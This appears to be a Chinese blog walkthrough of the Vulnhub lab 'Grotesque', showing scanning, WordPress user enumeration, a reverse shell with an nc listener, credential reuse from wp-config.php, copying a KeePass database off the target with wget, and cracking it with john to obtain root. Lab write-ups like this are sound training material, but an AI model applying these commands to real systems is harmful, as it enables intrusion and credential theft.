当前位置: 首页 > news >正文

Vulnhub靶场案例渗透[12]-Grotesque: 1.0.1

文章目录

  • 一、靶场搭建
    • 1. 靶场描述
    • 2. 下载靶机环境
    • 3. 靶场搭建
  • 二、渗透靶场
    • 1. 确定靶机IP
    • 2. 探测靶场开放端口及对应服务
    • 3. 目录扫描
    • 4. 敏感信息获取
    • 5. 反弹shell
    • 6. 权限提升

一、靶场搭建

1. 靶场描述

get flags
difficulty: medium
about vm: tested and exported from virtualbox. dhcp and nested vtx/amdv enabled. you can contact me by email for troubleshooting or questions.This works better with VirtualBox rather than VMware. ## Changelog 2021-03-10: v1.0.1 2021-03-06: v1.0

中等难度的靶场,目标是获取flag。

2. 下载靶机环境

靶场源地址点击跳转,点击图中标注处下载靶场源文件。

image.png

下载完成的文件如下:

image.png

一般从网上下载的文件,可以使用检验下载文件的检验码,防止下载的文件被篡改或者部分缺失.


# windwos 命令
Get-FileHash <filePath> -Algorithm MD5
# linux
md5sum filepath

3. 靶场搭建

使用VMware打开对应的ova文件创建虚拟机。创建完虚拟机之后,修改对应虚拟机的网络模式为NAT模式,然后点击启动就行。

image.png

如果你使用vmware启动靶机之后,发现靶机没有自动分配ip,可以参考这个文章进行解决。 解决虚拟机未被自动分配ip

二、渗透靶场

1. 确定靶机IP

确定靶机IP的步骤:

  1. 通过nmap进行靶机目标网段(192.168.37.22/24)的存活主机探测。
  2. nmap显示出存活主机之后,根据nmap显示的存活主机的主机名结合已知设备ip排除确定靶机。如果靶机环境设置为nat模式确定靶机ip会比较容易。
# 扫描网段存活主机命令
nmap -sn 192.168.37.22/24

image.png

通过排除网关、kali虚拟机、物理主机ip之后,确定靶机IP为192.168.37.133.

2. 探测靶场开放端口及对应服务

探测端口开放和对应开放端口服务识别,一般使用nmap进行,因为nmap指纹识别比较准确,并且指纹库也比较全。

# 探测端口开放及服务识别命令
nmap -Ap 1-65535 192.168.37.133

结果图:
image.png

可以看到两个端口6680对应的服务都是http服务。分别打开两个网站查看。80端口根路径直接报404,推测存在子路径。

image.png

image.png

3. 目录扫描

使用dirsearch工具分别扫描两个端口服务的路径。没有发现什么敏感目录,直接将目光移动到66端口的服务。

sudo dirsearch -u "http://192.168.37.133" -x 404 
sudo dirsearch -u "http://192.168.37.133:66" -x 404 

image.png

image.png

4. 敏感信息获取

66端口首页可以直接下载这个http服务的源码,直接下载文件,解压查看源代码是否存在敏感信息。

image.png

# 解压命令
unzip -d vvmlist/ vvmlist.zip

源代码文件内容:

image.png

先查看是否存在项目源码是否存在什么敏感信息。没有找到敏感信息之后,开始推测80存在子路径,搜索和80相关的关键词。发现其中一个文档说明80端口使用的wordpress,以及其子目录为lyricsblog

grep -rn 80 

image.png

image.png

获取到80端口wordpress的主路径之后,可以继续进行目录扫描。获取到登录页面,登录界面提示用户的密码是大写。

sudo dirsearch -u "http://192.168.37.133/lyricsblog" -x 404

image.png

image.png

5. 反弹shell

知道目标cms网站所使用的框架为wordpress之后,可以使用wpscan扫描目标网站的用户名。wpscan 是一个专门针对 WordPress 网站的漏洞扫描工具,用于发现插件、主题、用户、配置等方面的安全问题。扫描之后发现一个用户erdalkomurcu。有了账号名之后接下来就是要获取密码。

wpscan --url http://192.168.37.133/lyricsblog -e u 

image.png

查看cmd网站的根路径发现一个图片链接被注释,查看图片的内容。

image.png

image.png

图片上提到了HAKAN TASIYAN在首页上发现这是一首歌,尝试将这首歌的歌词进行md5求和,并将求和的结果转换成大写。之后尝试登录cms系统,登录成功。

image.png

# 求和
md5sum md5.txt
# 转大写
echo "" | tr 'a-z' 'A-Z'

image.png

image.png

登录后台之后,寻找后台可添加反向shell的位置,获取反弹shell,在下图处获取到注入点,并添加图中所示命令进行反向shell。刷新页面成功获取到反弹shell。

image.png

# kali执行
nc -lvp 8888

image.png

6. 权限提升

获取到反弹shell执行如下命令创建一个交互式终端。

python3 -c 'import pty; pty.spawn("/bin/bash")'

对于这种有数据库的后台项目,获取到shell权限之后,先查看配置文件是否存在账号和密码信息,多个账号设置为同一密码的情况是非常常见的。在wp-config.php中获取到数据库的账号和密码。

image.png

查看/home目录下发现存在和数据库账号同名的用户,尝试使用数据库的密码进行登录,成功登录.在raphael家目录下发现userflag和.chadroot.kdbx文件。

image.png

.kdbx 文件是 KeePass Password Safe 使用的文件格式,专门用于存储加密的密码数据库。KeePass 是一款开源密码管理器,.kdbx 文件包含用户的密码、用户名、URL 和其他敏感信息,并以强大的加密算法(如 AES-256)保护。从文件名来看这个kbdx文件存储的root的密码信息。将这个文件下载到本地,进行密码爆破。

# 靶机执行这段命令,开启一个web服务
python3 -m http.server 9090# kali进行下载
wget http://192.168.37.132/.chadroot.kdbx

使用keepass2john命令进行密码爆破,keepass2john 是一款专门用于从 KeePass 数据库文件(.kdbx 格式)中提取加密的哈希值的工具。它是 John the Ripper(JtR) 破解工具套件中的一部分,主要用于将 .kdbx 文件转换为 John the Ripper 可以识别的哈希格式,以进行密码破解。成功获取到kdbx文件的密码。

keepass2john .chadroot.kdbx > hash
# 破解
john hash --wordlist=/usr/share/wordlists/rockyou.txt

image.png

获取到kbdx文件之后可以使用如下python代码读取文件中的内容。首先得执行这段命令安装pip install pykeepass所需依赖。

from pykeepass import PyKeePass
import sysdef read_file(file_path, password):kp = PyKeePass(file_path, password=password)for entry in kp.entries:print(entry.title, entry.username, entry.password)if __name__ == "__main__":if len(sys.argv) != 3:print("Usage pkkeepass_tool.py filepath password")sys.exit(1)file_path = sys.argv[1]password = sys.argv[2]read_file(file_path, password)   

image.png

尝试打印出的每个密码,最终.:.subjective.:.为root用户的密码。成功获取到root的身份,以及获取到最终的flag。

image.png

http://www.lryc.cn/news/487502.html

相关文章:

  • 招聘和面试
  • Gin 框架入门(GO)-1
  • LeetCode:700. 二叉搜索树中的搜索
  • 用邻接矩阵实现图的深度优先遍历
  • vue2中实现token的无感刷新
  • 无需Photoshop即可在线裁剪和调整图像大小的工具
  • 云安全之法律和合规
  • 倒计时功能分享
  • 【论文分享】使用多源数据识别建筑功能:以中国三大城市群为例
  • 华为手机启用ADB无线调试功能
  • 云原生之Kubernetes集群搭建
  • STM32单片机CAN总线汽车线路通断检测
  • 大连理工大学概率上机作业免费下载
  • Tomcat 如何管理 Session
  • stm32启动过程解析startup启动文件
  • SystemVerilog学习——构造函数new
  • 力扣题目总结
  • Java API 进阶指南:从核心API到高级应用的全面提升
  • esp32c3开发板通过micropython的ubluetooth库连蓝牙设备
  • leetcode hot100【LeetCode 35.搜索插入位置】java实现
  • 我们要用平凡来诠释非凡
  • synchronized和volatile区别
  • 125.验证回文串-力扣(LeetCode)
  • 线程间通信:wait和notify
  • 风险识别和管理的工具
  • qt之QFTP对文件夹(含嵌套文件夹和文件)、文件删除下载功能
  • 为何数据库推荐将IPv4地址存储为32位整数而非字符串?
  • Mybatis框架之责任链模式 (Chain of Responsibility Pattern)
  • C++ Stack和Queue---单向守护与无尽等待:数据结构的诗意表达
  • 深入理解Java包装类与泛型的应用